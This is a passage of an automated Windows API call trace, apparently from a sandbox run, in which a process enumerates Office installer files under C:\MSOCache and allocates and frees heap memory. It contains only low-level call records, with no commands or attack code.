0 [0044.421] GetLastError () returned 0x12 [0044.422] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8b240) returned 1 [0044.424] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0044.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8b348) returned 1 [0044.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8b138) returned 1 [0044.428] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.msi", cAlternateFileName="")) returned 1 [0044.428] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.xml", cAlternateFileName="")) returned 1 [0044.429] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0044.429] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0044.429] GetLastError () returned 0x12 [0044.429] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83b80) returned 1 [0044.429] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0044.429] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83c88) returned 1 [0044.429] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0044.429] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0044.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.429] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0044.517] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0044.518] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0044.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf8be90 [0044.518] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf8be90, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xf8be90, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0044.518] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8be90) returned 1 [0044.518] NtClose (Handle=0x184) returned 0x0 [0044.518] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0044.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0044.518] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83c88 [0044.518] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d120 [0044.562] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.562] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0044.562] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.563] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.563] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83b80 [0044.563] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0044.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89ac8 [0044.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8b138 [0044.563] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.563] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0044.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.563] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.563] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89ae8 [0044.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8b348 [0044.563] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.563] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0044.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.563] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.563] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.563] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.563] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0044.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.563] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.563] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.563] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.563] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0044.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.563] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.564] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89b08 [0044.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8b240 [0044.564] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.564] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0044.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.564] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.564] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.564] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.564] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0044.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.564] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.564] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89b28 [0044.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8b870 [0044.564] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.564] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.msi", cAlternateFileName="")) returned 1 [0044.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.564] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.564] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89b48 [0044.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8b978 [0044.564] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.564] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.xml", cAlternateFileName="")) returned 1 [0044.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.564] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.564] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89b68 [0044.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ba80 [0044.565] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.565] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1 [0044.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.565] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.565] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89b88 [0044.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8bb88 [0044.565] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.565] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1 [0044.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.565] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.565] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89ba8 [0044.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8bc90 [0044.565] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.565] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0044.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.565] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.565] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.565] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.565] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0044.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.565] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.565] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89bc8 [0044.566] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8bea8 [0044.566] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.566] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0044.566] GetLastError () returned 0x12 [0044.566] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d0a0 [0044.566] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0044.566] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.566] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0044.566] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0044.566] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, 